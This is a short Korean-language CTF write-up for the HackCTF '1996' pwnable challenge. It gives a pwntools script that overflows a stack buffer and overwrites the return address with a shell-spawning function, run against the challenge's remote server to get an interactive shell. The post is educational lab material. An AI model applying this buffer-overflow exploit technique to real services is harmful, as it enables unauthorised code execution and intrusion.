CTF's Write-up
HACKCTF - 1996
m0nd2y
2020. 8. 6. 09:36
pwnable문제입니다.
1996 파일 하나 주는데 해당 파일을 실행시켜보면
이렇게 인풋하나를 받고 다시 출력시켜줍니다.
16번째 줄을보면 해당중에서 name을 받고
shell을 띄워주는 함수가 있으니 ret를 여기로 주면 될 것 같습니다.
페이로드는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3013)
#r = process("./1996")
e = ELF("./1996")
context.log_level = "debug"
shell = 0x0000000000400897
r.recvuntil("? ")
payload = ""
payload += "A"*0x410 + "A"*0x8
payload += p64(shell)
r.sendline(payload)
r.interactive()
|
cs |
해당 코드를 실행시키면
flag를 획득할 수 있습니다.

문제 위치에 반해서 너무 쉬웠어서 깜짝 놀랐습니다..